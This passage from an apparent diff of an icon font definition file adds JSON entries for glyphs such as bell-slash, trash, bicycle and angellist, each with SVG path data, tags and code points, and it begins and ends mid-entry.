84 29.714 10.857 40 18.286 40 30.286 0 11.429-9.714 17.714-27.429 17.714-21.714 0-57.714-10.857-81.143-24.571l-10.286 64.571c20 11.429 57.143 23.429 96 23.429 30.857 0 56-7.429 73.714-21.143 19.429-15.429 29.143-37.714 29.143-66.857zM440.571 449.714l10.857-63.429h-54.857v-77.143l-73.714 12-10.286 65.143-26.286 4.571-9.714 58.857h35.429v125.143c0 32.571 8.571 54.857 25.143 68.571 14.286 11.429 34.857 17.143 63.429 17.143 22.286 0 35.429-4 45.143-6.286v-67.429c-5.143 1.143-17.143 4-25.143 4-16.571 0-24-9.143-24-28.571v-112.571h44zM621.143 464v-79.429c-5.714-1.143-10.857-1.714-16-1.714-24 0-43.429 12.571-50.857 35.429l-5.714-32h-74.857v269.143h85.714v-174.857c10.857-13.143 26.286-17.714 46.857-17.714 4.571 0 9.143 0 14.857 1.143zM642.286 655.429h85.714v-269.143h-85.714v269.143zM997.714 513.143c0-45.714-8.571-80.571-25.714-102.286-15.429-20-36.571-29.714-63.429-29.714-24.571 0-46.286 10.286-66.857 32l-4.571-26.857h-75.429v368.571l85.714-14.286v-86.286c13.143 4 26.857 6.286 38.857 6.286 21.143 0 52.571-5.714 76.571-32 23.429-25.143 34.857-64 34.857-115.429zM730.286 314.286c0-25.143-20-45.143-45.143-45.143s-45.143 20-45.143 45.143 20 45.714 45.143 45.714 45.143-20.571 45.143-45.714zM1243.429 518.286c0-42.857-9.143-76.571-27.429-100.571-18.857-24-46.857-36.571-82.286-36.571-73.143 0-118.286 53.714-118.286 140.571 0 48 12 84.571 36 107.429 21.143 21.143 52 31.429 92 31.429 36.571 0 70.286-8.571 91.429-22.857l-9.143-58.857c-21.143 11.429-45.714 17.714-73.143 17.714-16.571 0-28-3.429-36-10.857-9.143-7.429-14.286-20-16-37.714h141.714c0.571-4 1.143-23.429 1.143-29.714zM1316.571 146.286v731.429c0 40-33.143 73.143-73.143 73.143h-1170.286c-40 0-73.143-33.143-73.143-73.143v-731.429c0-40 33.143-73.143 73.143-73.143h1170.286c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "cc-stripe" + ], + "defaultCode": 61941, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "cc-stripe", + "id": 456, + "order": 1312, + "prevSize": 28, + "code": 61941 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 456 + }, + { + "icon": { + "paths": [ + "M890.286 486.857c29.143 170.286 104 261.714 170.286 317.714 0 40-33.143 73.143-73.143 73.143h-256c0 80.571-65.714 146.286-146.286 146.286s-145.714-65.143-146.286-145.714zM585.143 978.286c5.143 0 9.143-4 9.143-9.143s-4-9.143-9.143-9.143c-45.143 0-82.286-37.143-82.286-82.286 0-5.143-4-9.143-9.143-9.143s-9.143 4-9.143 9.143c0 55.429 45.143 100.571 100.571 100.571zM1157.714 64c6.286 8 5.714 19.429-1.714 26.286l-1069.714 926.857c-7.429 6.286-19.429 5.714-25.714-2.286l-48-54.857c-6.286-8-5.714-19.429 1.714-25.714l106.286-92c-6.857-11.429-10.857-24-10.857-37.714 84.571-71.429 182.857-199.429 182.857-475.429 0-109.714 90.857-229.714 242.286-252-2.857-6.857-4.571-14.286-4.571-22.286 0-30.286 24.571-54.857 54.857-54.857s54.857 24.571 54.857 54.857c0 8-1.714 15.429-4.571 22.286 98.286 14.286 170.857 69.714 209.714 137.143l238.857-207.429c7.429-6.286 19.429-5.714 25.714 2.286z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bell-slash" + ], + "defaultCode": 61942, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bell-slash", + "id": 457, + "order": 1313, + "prevSize": 28, + "code": 61942 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 457 + }, + { + "icon": { + "paths": [ + "M594.286 969.143c0-5.143-4-9.143-9.143-9.143-45.143 0-82.286-37.143-82.286-82.286 0-5.143-4-9.143-9.143-9.143s-9.143 4-9.143 9.143c0 55.429 45.143 100.571 100.571 100.571 5.143 0 9.143-4 9.143-9.143zM287.429 697.714l501.143-434.286c-28.571-60-94.857-117.143-203.429-117.143-149.714 0-219.429 109.143-219.429 182.857 0 146.286-25.714 268.571-78.286 368.571zM1060.571 804.571c0 40-33.143 73.143-73.143 73.143h-256c0 80.571-65.714 146.286-146.286 146.286s-145.714-65.143-146.286-145.714l85.143-73.714h432.571c-63.429-71.429-106.286-158.286-129.714-262.286l63.429-55.429c29.143 170.286 104 261.714 170.286 317.714zM1109.714 9.143l48 54.857c6.286 8 5.714 19.429-1.714 26.286l-1069.714 926.857c-7.429 6.286-19.429 5.714-25.714-2.286l-48-54.857c-6.286-8-5.714-19.429 1.714-25.714l106.286-92c-6.857-11.429-10.857-24-10.857-37.714 84.571-71.429 182.857-199.429 182.857-475.429 0-109.714 90.857-229.714 242.286-252-2.857-6.857-4.571-14.286-4.571-22.286 0-30.286 24.571-54.857 54.857-54.857s54.857 24.571 54.857 54.857c0 8-1.714 15.429-4.571 22.286 98.286 14.286 170.857 69.714 209.714 137.143l238.857-207.429c7.429-6.286 19.429-5.714 25.714 2.286z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bell-slash-o" + ], + "defaultCode": 61943, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bell-slash-o", + "id": 458, + "order": 1314, + "prevSize": 28, + "code": 61943 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 458 + }, + { + "icon": { + "paths": [ + "M292.571 786.286v-402.286c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v402.286c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM438.857 786.286v-402.286c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v402.286c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM585.143 786.286v-402.286c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v402.286c0 10.286 8 18.286 18.286 18.286h36.571c10.286 0 18.286-8 18.286-18.286zM274.286 219.429h256l-27.429-66.857c-1.714-2.286-6.857-5.714-9.714-6.286h-181.143c-3.429 0.571-8 4-9.714 6.286zM804.571 237.714v36.571c0 10.286-8 18.286-18.286 18.286h-54.857v541.714c0 62.857-41.143 116.571-91.429 116.571h-475.429c-50.286 0-91.429-51.429-91.429-114.286v-544h-54.857c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h176.571l40-95.429c11.429-28 45.714-50.857 76-50.857h182.857c30.286 0 64.571 22.857 76 50.857l40 95.429h176.571c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 804.5714285714286, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "trash" + ], + "defaultCode": 61944, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "trash", + "id": 459, + "order": 1315, + "prevSize": 28, + "code": 61944 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 459 + }, + { + "icon": { + "paths": [ + "M657.143 613.714v62.286c0 80.571-128.571 110.286-209.143 110.286-156.571 0-274.286-119.429-274.286-277.143 0-154.857 116.571-271.429 271.429-271.429 56.571 0 204.571 20 204.571 110.857v62.286c0 5.143-4 9.143-9.143 9.143h-67.429c-5.143 0-9.143-4-9.143-9.143v-40c0-36-69.143-52.571-116-52.571-106.857 0-181.143 77.143-181.143 188 0 114.857 77.714 198.857 185.714 198.857 41.143 0 118.857-15.429 118.857-51.429v-40c0-5.143 4-9.143 8.571-9.143h68c4.571 0 9.143 4 9.143 9.143zM438.857 146.286c-201.714 0-365.714 164-365.714 365.714s164 365.714 365.714 365.714 365.714-164 365.714-365.714-164-365.714-365.714-365.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857v0c242.286 0 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "copyright" + ], + "defaultCode": 61945, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "copyright", + "id": 460, + "order": 1316, + "prevSize": 28, + "code": 61945 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 460 + }, + { + "icon": { + "paths": [ + "M555.429 442.857c0-82.286-42.857-131.429-114.857-131.429-94.857 0-196.571 94.286-196.571 246.857 0 85.143 42.286 133.714 116.571 133.714 114.857 0 194.857-131.429 194.857-249.143zM877.714 512c0 177.714-126.857 244.571-235.429 248-7.429 0-10.286 0.571-18.286 0.571-35.429 0-63.429-10.286-81.143-30.286-10.857-12.571-17.143-28.571-18.857-47.429-35.429 44.571-97.143 88-174.286 88-122.857 0-193.143-76-193.143-208.571 0-182.286 126.286-330.286 280.571-330.286 66.857 0 120.571 28.571 149.143 77.143l1.143-10.857 6.286-32c0.571-4.571 4.571-10.286 8.571-10.286h67.429c2.857 0 5.714 4 7.429 6.286 1.714 1.714 2.286 6.286 1.714 9.143l-68.571 350.857c-2.286 10.857-2.857 19.429-2.857 27.429 0 30.857 9.143 37.143 32.571 37.143 38.857-1.143 164.571-17.143 164.571-174.857 0-222.286-143.429-365.714-365.714-365.714-201.714 0-365.714 164-365.714 365.714s164 365.714 365.714 365.714c84 0 166.286-29.143 231.429-82.286 8-6.857 19.429-5.714 25.714 2.286l23.429 28c2.857 4 4.571 8.571 4 13.714-0.571 4.571-2.857 9.143-6.857 12.571-77.714 63.429-176.571 98.857-277.714 98.857-241.714 0-438.857-197.143-438.857-438.857s197.143-438.857 438.857-438.857c262.286 0 438.857 176.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "at" + ], + "defaultCode": 61946, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "at", + "id": 461, + "order": 1317, + "prevSize": 28, + "code": 61946 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 461 + }, + { + "icon": { + "paths": [ + "M970.286 53.714c71.429 71.429 72 187.429 0 258.286l-128.571 127.429 59.429 59.429c7.429 7.429 7.429 18.857 0 26.286l-120 120c-7.429 7.429-18.857 7.429-26.286 0l-60-60-344.571 344.571c-13.714 13.714-32 21.143-51.429 21.143h-116l-146.286 73.143-36.571-36.571 73.143-146.286v-116c0-19.429 7.429-37.714 21.143-51.429l344.571-344.571-60-60c-7.429-7.429-7.429-18.857 0-26.286l120-120c7.429-7.429 18.857-7.429 26.286 0l59.429 59.429 127.429-128.571c70.857-72 186.857-71.429 258.286 0zM292.571 841.143l329.143-329.143-109.714-109.714-329.143 329.143v109.714h109.714z" + ], + "width": 1042.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "eyedropper" + ], + "defaultCode": 61947, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "eyedropper", + "id": 462, + "order": 1318, + "prevSize": 28, + "code": 61947 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 462 + }, + { + "icon": { + "paths": [ + "M922.857 0c52 0 100 38.857 100 93.143 0 30.286-12 59.429-25.714 86.286-44.571 84.571-194.286 364-265.714 429.714-34.857 32.571-76 52-124.571 52-96.571 0-175.429-82.286-175.429-178.286 0-45.714 18.857-90.286 52.571-121.143l364.571-330.857c20-18.286 46.286-30.857 74.286-30.857zM403.429 590.857c29.714 57.714 84 101.143 146.857 117.714l0.571 40.571c3.429 162.857-109.714 274.857-273.143 274.857-193.714 0-277.714-154.286-277.714-329.714 21.143 14.286 94.857 73.143 118.857 73.143 14.286 0 26.286-8 31.429-21.143 48.571-126.857 124.571-149.714 253.143-155.429z" + ], + "width": 1022.8297142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "paint-brush" + ], + "defaultCode": 61948, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "paint-brush", + "id": 463, + "order": 1319, + "prevSize": 28, + "code": 61948 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 463 + }, + { + "icon": { + "paths": [ + "M1024 804.571v219.429h-1024v-219.429c56 0 85.714-25.143 109.143-45.143 19.429-17.143 32.571-28 61.714-28s41.714 10.857 61.714 28c23.429 20 52.571 45.143 109.143 45.143 56 0 85.143-25.143 109.143-45.143 19.429-17.143 32-28 61.143-28s42.286 10.857 61.714 28c23.429 20 53.143 45.143 109.143 45.143s85.714-25.143 109.143-45.143c19.429-17.143 32.571-28 61.714-28 28.571 0 41.714 10.857 61.143 28 23.429 20 53.143 45.143 109.143 45.143zM1024 621.714v109.714c-29.143 0-41.714-10.857-61.714-28-23.429-20-52.571-45.143-108.571-45.143-56.571 0-85.714 25.143-109.143 45.143-20 17.143-32.571 28-61.714 28s-42.286-10.857-61.714-28c-23.429-20-52.571-45.143-109.143-45.143-56 0-85.143 25.143-109.143 45.143-19.429 17.143-32 28-61.143 28s-42.286-10.857-61.714-28c-23.429-20-53.143-45.143-109.143-45.143-56.571 0-85.714 25.143-109.143 45.143-19.429 17.143-32.571 28-61.714 28v-109.714c0-60.571 49.143-109.714 109.714-109.714h36.571v-256h146.286v256h146.286v-256h146.286v256h146.286v-256h146.286v256h36.571c60.571 0 109.714 49.143 109.714 109.714zM292.571 128c0 60.571-32.571 91.429-73.143 91.429s-73.143-32.571-73.143-73.143c0-70.857 73.143-52.571 73.143-146.286 27.429 0 73.143 67.429 73.143 128zM585.143 128c0 60.571-32.571 91.429-73.143 91.429s-73.143-32.571-73.143-73.143c0-70.857 73.143-52.571 73.143-146.286 27.429 0 73.143 67.429 73.143 128zM877.714 128c0 60.571-32.571 91.429-73.143 91.429s-73.143-32.571-73.143-73.143c0-70.857 73.143-52.571 73.143-146.286 27.429 0 73.143 67.429 73.143 128z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "birthday-cake" + ], + "defaultCode": 61949, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "birthday-cake", + "id": 464, + "order": 1320, + "prevSize": 28, + "code": 61949 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 464 + }, + { + "icon": { + "paths": [ + "M1170.286 877.714v73.143h-1170.286v-877.714h73.143v804.571h1097.143zM950.857 292.571l146.286 512h-950.857v-329.143l256-329.143 329.143 329.143z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "area-chart" + ], + "defaultCode": 61950, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "area-chart", + "id": 465, + "order": 1321, + "prevSize": 28, + "code": 61950 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 465 + }, + { + "icon": { + "paths": [ + "M438.857 508.571l312 312c-79.429 80.571-190.286 130.286-312 130.286-242.286 0-438.857-196.571-438.857-438.857s196.571-438.857 438.857-438.857v435.429zM545.714 512h441.714c0 121.714-49.714 232.571-130.286 312zM950.857 438.857h-438.857v-438.857c242.286 0 438.857 196.571 438.857 438.857z" + ], + "width": 987.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "pie-chart" + ], + "defaultCode": 61952, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "pie-chart", + "id": 466, + "order": 1322, + "prevSize": 28, + "code": 61952 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 466 + }, + { + "icon": { + "paths": [ + "M1170.286 877.714v73.143h-1170.286v-877.714h73.143v804.571h1097.143zM1097.143 164.571v248.571c0 16-19.429 24.571-31.429 12.571l-69.143-69.143-361.714 361.714c-7.429 7.429-18.857 7.429-26.286 0l-133.143-133.143-237.714 237.714-109.714-109.714 334.286-334.286c7.429-7.429 18.857-7.429 26.286 0l133.143 133.143 265.143-265.143-69.143-69.143c-12-12-3.429-31.429 12.571-31.429h248.571c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "line-chart" + ], + "defaultCode": 61953, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "line-chart", + "id": 467, + "order": 1323, + "prevSize": 28, + "code": 61953 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 467 + }, + { + "icon": { + "paths": [ + "M738.286 402.286c0 3.429 4.571 19.429 5.714 23.429 15.429 46.857 51.429 56.571 94.286 68.571 95.429 26.857 185.714 77.714 185.714 189.714 0 113.714-94.857 193.714-205.714 193.714-184 0-241.143-225.143-294.286-362.286-44-113.143-90.286-179.429-217.714-179.429-113.143 0-212.571 108.571-212.571 220 0 118.286 88.571 228 211.429 228 54.286 0 110.857-11.429 147.429-54.286v0c17.714-20 34.857-41.714 47.429-66.286l48 86.857c-6.286 14.286-15.429 28-25.143 40l0.571 0.571c-57.714 66.857-136.571 86.857-221.714 86.857-172.571 0-301.714-152.571-301.714-320.571 0-162.857 141.714-314.286 306.286-314.286 273.143 0 286.857 236.571 379.429 426.857 25.143 52.571 68 114.286 133.143 114.286 59.429 0 112-38.286 112-101.143 0-136-249.714-43.429-285.143-266.857-1.143-6.286-1.714-12.571-1.714-18.857 0-84.571 79.429-157.143 163.429-154.286 50.286 1.714 80.571 3.429 120.571 38.857h-0.571c15.429 14.286 26.857 33.714 38.857 50.286l-73.714 56.571c-8.571-16-16.571-29.143-30.857-40v-0.571c-13.714-12.571-38.286-12-55.429-12-37.143 0-68 28-68 66.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lastfm" + ], + "defaultCode": 61954, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "lastfm", + "id": 468, + "order": 1324, + "prevSize": 28, + "code": 61954 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 468 + }, + { + "icon": { + "paths": [ + "M818.286 601.143c0-80.571-65.143-117.143-133.714-136.571-31.429-8.571-57.143-16-68.571-50.286-0.571-2.857-3.429-13.714-3.429-16 0-27.429 21.714-47.429 48.571-47.429 12.571 0 30.286-0.571 40.571 8.571h-0.571c10.857 8 16 17.143 22.286 29.143l53.143-40.571c-8.571-12-17.143-26.286-28-36.571v0c-26.857-24-52-28-87.429-28-60 0-116.571 49.143-116.571 111.429 0 4.571 0.571 8.571 1.143 13.143 12.571 77.714 52 101.714 121.714 121.714 34.286 9.714 82.857 25.143 83.429 67.429v2.857c0.571 45.714-37.714 73.143-80.571 73.143-46.857 0-77.143-44.571-95.429-82.286-66.286-136.571-76.571-307.429-273.143-307.429-118.286 0-224.571 109.143-220.571 226.286v0.571c4 122.286 88 230.286 217.143 230.286 61.143 0 118.286-14.286 159.429-62.857v0c6.857-9.143 13.143-18.857 17.714-29.143l-34.286-62.286c-32 60.571-71.429 86.857-140 86.857-90.286 0-152.571-80-152.571-166.286 0-79.429 73.143-156 153.143-156 91.429 0 124.571 47.429 156.571 129.143 38.286 98.286 79.429 260.571 212 260.571 79.429 0 148-57.714 148-139.429zM877.714 237.714v548.571c0 90.857-73.714 164.571-164.571 164.571h-548.571c-90.857 0-164.571-73.714-164.571-164.571v-548.571c0-90.857 73.714-164.571 164.571-164.571h548.571c90.857 0 164.571 73.714 164.571 164.571z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lastfm-square" + ], + "defaultCode": 61955, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "lastfm-square", + "id": 469, + "order": 1325, + "prevSize": 28, + "code": 61955 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 469 + }, + { + "icon": { + "paths": [ + "M658.286 512c0-161.143-131.429-292.571-292.571-292.571s-292.571 131.429-292.571 292.571 131.429 292.571 292.571 292.571 292.571-131.429 292.571-292.571zM1097.143 512c0-161.143-131.429-292.571-292.571-292.571h-220.571c89.143 66.857 147.429 173.143 147.429 292.571s-58.286 225.714-147.429 292.571h220.571c161.143 0 292.571-131.429 292.571-292.571zM1170.286 512c0 201.714-164 365.714-365.714 365.714h-438.857c-201.714 0-365.714-164-365.714-365.714s164-365.714 365.714-365.714h438.857c201.714 0 365.714 164 365.714 365.714z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "toggle-off" + ], + "defaultCode": 61956, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "toggle-off", + "id": 470, + "order": 1326, + "prevSize": 28, + "code": 61956 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 470 + }, + { + "icon": { + "paths": [ + "M0 512c0-201.714 164-365.714 365.714-365.714h438.857c201.714 0 365.714 164 365.714 365.714s-164 365.714-365.714 365.714h-438.857c-201.714 0-365.714-164-365.714-365.714zM804.571 804.571c161.143 0 292.571-131.429 292.571-292.571s-131.429-292.571-292.571-292.571-292.571 131.429-292.571 292.571 131.429 292.571 292.571 292.571z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "toggle-on" + ], + "defaultCode": 61957, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "toggle-on", + "id": 471, + "order": 1327, + "prevSize": 28, + "code": 61957 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 471 + }, + { + "icon": { + "paths": [ + "M435.429 658.286h-179.429c-30.286 0-47.429-34.286-29.143-58.286l107.429-143.429c-24-11.429-50.286-17.714-78.286-17.714-100.571 0-182.857 82.286-182.857 182.857s82.286 182.857 182.857 182.857c88.571 0 162.286-62.857 179.429-146.286zM329.143 585.143h106.286c-6.857-32-21.714-61.143-42.857-84.571zM603.429 585.143l164.571-219.429h-274.286l-56.571 75.429c38.286 37.714 64 88 72 144h94.286zM1243.429 621.714c0-100.571-82.286-182.857-182.857-182.857-24.571 0-47.429 5.143-69.143 13.714l99.429 148.571c11.429 17.143 6.857 40-9.714 50.857-6.286 4.571-13.714 6.286-20.571 6.286-12 0-23.429-5.714-30.286-16.571l-99.429-148.571c-32.571 33.143-53.143 78.286-53.143 128.571 0 100.571 82.286 182.857 182.857 182.857s182.857-82.286 182.857-182.857zM1316.571 621.714c0 141.143-114.857 256-256 256s-256-114.857-256-256c0-75.429 33.143-143.429 85.143-190.286l-37.143-56-201.714 268c-6.857 9.714-17.714 14.857-29.143 14.857h-112.571c-17.714 124-124 219.429-253.143 219.429-141.143 0-256-114.857-256-256s114.857-256 256-256c44.571 0 86.286 11.429 122.857 31.429l78.286-104.571h-128c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h219.429v73.143h248.571l-48.571-73.143h-126.857c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h146.286c12 0 23.429 6.286 30.286 16l152.571 228.571c33.143-16 70.286-25.143 109.714-25.143 141.143 0 256 114.857 256 256z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bicycle" + ], + "defaultCode": 61958, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bicycle", + "id": 472, + "order": 1328, + "prevSize": 28, + "code": 61958 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 472 + }, + { + "icon": { + "paths": [ + "M219.429 694.857c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM804.571 694.857c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM778.286 468.571l-41.143-219.429c-3.429-17.143-18.286-29.714-36-29.714h-524.571c-17.714 0-32.571 12.571-36 29.714l-41.143 219.429c-4 22.857 13.143 43.429 36 43.429h606.857c22.857 0 40-20.571 36-43.429zM649.143 118.857c0-15.429-12-27.429-27.429-27.429h-365.714c-14.857 0-27.429 12-27.429 27.429s12.571 27.429 27.429 27.429h365.714c15.429 0 27.429-12 27.429-27.429zM877.714 533.143v344.571h-73.143v73.143c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143v-73.143h-438.857v73.143c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143v-73.143h-73.143v-344.571c0-46.857 4-81.714 14.286-127.429l58.857-259.429c10.857-91.429 170.857-146.286 365.714-146.286s354.857 54.857 365.714 146.286l60 259.429c10.286 45.714 13.143 80.571 13.143 127.429z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "bus" + ], + "defaultCode": 61959, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "bus", + "id": 473, + "order": 1329, + "prevSize": 28, + "code": 61959 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 473 + }, + { + "icon": { + "paths": [ + "M836 475.429c0 26.857-21.714 49.143-49.143 49.143h-401.143c-27.429 0-49.143-22.286-49.143-49.143s21.714-49.143 49.143-49.143h401.143c27.429 0 49.143 22.286 49.143 49.143zM958.286 475.429c0-33.714-4.571-65.714-13.143-97.143h-561.143c-27.429 0-49.143-21.714-49.143-48.571 0-27.429 21.714-49.143 49.143-49.143h518.857c-65.714-106.857-183.429-177.714-317.143-177.714-205.714 0-373.143 166.857-373.143 372.571 0 33.714 4.571 65.714 13.143 97.143h561.143c27.429 0 49.143 21.714 49.143 48.571 0 27.429-21.714 49.143-49.143 49.143h-518.857c65.714 106.857 183.429 177.714 317.714 177.714 205.143 0 372.571-166.857 372.571-372.571zM1170.286 329.714c0 26.857-21.714 48.571-49.143 48.571h-74.857c6.286 31.429 9.714 64 9.714 97.143 0 259.429-210.857 470.857-470.286 470.857-190.286 0-354.286-113.143-428.571-276h-108c-27.429 0-49.143-21.714-49.143-49.143 0-26.857 21.714-48.571 49.143-48.571h75.429c-6.286-31.429-9.714-64-9.714-97.143 0-259.429 210.857-470.857 470.857-470.857 189.714 0 353.714 113.143 428 276h107.429c27.429 0 49.143 21.714 49.143 49.143z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ioxhost" + ], + "defaultCode": 61960, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "ioxhost", + "id": 474, + "order": 1330, + "prevSize": 28, + "code": 61960 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 474 + }, + { + "icon": { + "paths": [ + "M544.571 216l-65.143 187.429 66.857 12c17.143-46.857 94.286-257.714 94.286-296 0-14.286-4.571-32-21.714-32-32 0-66.286 104-74.286 128.571zM373.714 608.571c6.286 16.571 13.143 33.143 18.857 50.286 12.571-14.286 25.714-27.429 40.571-38.286-20-4-40-5.714-59.429-12zM206.857 96.571c0 58.286 69.143 240 90.857 297.714 8-4.571 18.286-5.714 28-5.714 13.714 0 29.143 1.714 42.857 2.857l-69.143-200.571c-7.429-21.714-40.571-125.714-70.286-125.714-15.429 0-22.286 18.286-22.286 31.429zM161.714 530.286c0 41.714 112 195.429 153.714 195.429 11.429 0 21.143-12.571 21.143-22.857 0-13.143-13.143-45.714-18.286-58.286-14.857-38.286-69.143-156.571-116-156.571-15.429 0-40.571 26.857-40.571 42.286zM71.429 721.714c0 20.571 6.857 40.571 14.286 59.429 45.143 111.429 146.857 176.571 265.714 176.571 86.857 0 160-33.143 218.286-97.143 61.714-68.571 86.857-153.143 86.857-244 0-32 0.571-82.857-24.571-105.714-48-42.286-210.857-58.286-275.429-58.286-8 0-21.714 0.571-28 6.286-6.857 2.857-6.857 13.714-6.857 20 0 87.429 184.571 79.429 240 79.429 10.857 0 16 2.857 22.857 10.857 7.429 9.143 9.714 20 10.857 31.429-14.857 14.857-35.429 23.429-54.857 30.857-18.857 6.857-37.143 14.286-53.143 26.286-44 32-87.429 86.857-87.429 143.429 0 35.429 21.143 65.714 21.143 100.571 0 0.571-4 13.143-4 14.857-65.143-4.571-81.143-69.143-83.429-123.429-6.857 1.714-16 1.143-23.429 1.143 1.143 4 1.143 8 1.143 12 0 41.714-37.143 72-77.143 72-61.714 0-143.429-72.571-143.429-135.429 0-17.143 7.429-26.857 18.857-38.286 11.429 14.286 23.429 28.571 34.286 43.429 16.571 22.286 45.143 59.429 76 59.429 8 0 23.429-6.857 23.429-16.571 0-25.714-93.714-146.286-116.571-146.286-36 0-55.429 47.429-55.429 77.143zM6.286 726.857c0-74.286 28.571-123.429 102.286-143.429-6.286-16.571-16-41.714-16-59.429 0-46.857 57.714-105.143 104.571-105.143 13.714 0 27.429 4 40 8.571-24-68-93.143-259.429-93.143-324 0-57.714 29.143-103.429 91.429-103.429 80 0 170.857 288 190.286 345.143 25.143-62.857 104-326.286 193.143-326.286 56 0 87.429 44.571 87.429 97.714 0 60.571-67.429 249.143-90.857 314.286 96 23.429 109.714 101.143 109.714 187.429 0 228.571-145.714 405.714-381.714 405.714-43.429 0-86.286-8.571-127.429-24-108.571-41.143-209.714-152.571-209.714-273.143z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "angellist" + ], + "defaultCode": 61961, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "angellist", + "id": 475, + "order": 1331, + "prevSize": 28, + "code": 61961 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 475 + }, + { + "icon": { + "paths": [ + "M448.571 576h118.286c-10.857 120.571-80 193.714-178.857 193.714-123.429 0-198.286-94.857-198.286-246.857 0-150.857 82.286-245.143 186.286-245.143 114.286 0 178.286 70.857 188 190.857h-116c-4-48.571-28-76.571-66.857-76.571-42.857 0-68.571 45.714-68.571 136 0 65.714 